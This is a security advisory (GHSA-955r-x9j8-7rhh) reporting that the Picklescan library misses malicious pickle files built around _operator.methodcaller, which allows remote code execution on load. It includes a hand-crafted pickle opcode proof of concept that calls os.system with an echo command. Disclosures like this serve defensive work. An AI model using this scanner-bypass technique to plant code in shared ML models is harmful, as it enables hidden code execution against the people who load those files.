GHSA-955r-x9j8-7rhh: 
Python vulnerability analysis and mitigation

Summary

Picklescan uses _operator.methodcaller, which is a built-in python library function to execute remote pickle files.

Details

The attack payload executes in the following steps:

• First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method
• Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load() loads this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
import pickletools
opcode2 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
methodcaller
(Vsystem
Vecho "pwned by _operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode2)
pickle.loads(opcode2)

This PoC can't be easily create by pickle.dumps, so it was manually built.

Impact

Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Report by

Pinji Chen (cpj24@mails.tsinghua.edu.cn) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).